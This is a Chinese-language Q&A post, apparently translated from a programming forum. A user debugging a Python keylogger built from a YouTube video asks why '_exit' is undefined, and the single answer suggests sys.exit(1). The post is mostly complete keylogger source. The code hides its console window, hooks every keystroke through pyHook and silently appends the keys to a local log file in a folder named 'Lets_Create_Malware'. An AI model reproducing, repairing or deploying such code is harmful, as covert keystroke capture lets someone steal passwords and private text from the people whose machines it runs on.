python的错误,即使我包含库

时间:2016-07-06 02:09:20

标签: python file exit read-write

我有基于YouTube video

的Python代码

当我输入Ctrl-E退出时,即使我包含了sys库,我也会收到错误Traceback (most recent call last): File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch return func(event) File "C:/Lets_Create_Malware/keyz.pyw", line 21, in OnKeyboardEvent _exit(1) NameError: global name '_exit' is not defined

我为此疯狂。这是我记录的代码。非常感谢任何帮助。

import win32api #win32* to interact with Windows environment
import win32console
import win32gui

import pythoncom #python to interact with windows
import pyHook #captures input, such as from a keyboard

import sys #use system-specific parameters such as _exit
import logging #enables logging


#hide python command window  
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#exit script that uses ASCII value 5 to end program
#ASCII value 5 is same as Ctrl-E
#OnKeyboardEvent is invoked with key on keyboard is pressed
def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)

    #if input is not null or backspace, record input
    if event.Ascii != 5:

        #open read-only copy of log file and save to variable buffer
        f=open('c:\\Lets_Create_Malware\\output.txt', 'w+')
        buffer=f.read()
        f.close

        #re-open log file, this time you can write to it
        f=open('c:\\Lets_Create_Malware\\output.txt','w')

        #save all log information as variable keylogs
        keylogs=chr(event.Ascii)



        #append variable keylogs to variable buffer
        buffer += keylogs

        #write buffer to the writable logfile, C:\output.txt
        f.write(buffer)

        #close the logfile
        f.close()

#create hook manager
hm = pyHook.HookManager()

#watch for all key events
hm.KeyDown = OnKeyboardEvent

#set the hook that captures all the events
hm.HookKeyboard()

#record the events
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:2)

要在python中使用导入的模块,您必须以module.method的形式从模块中调用该方法,因此您应该sys.exit(1)而不是_exit(1)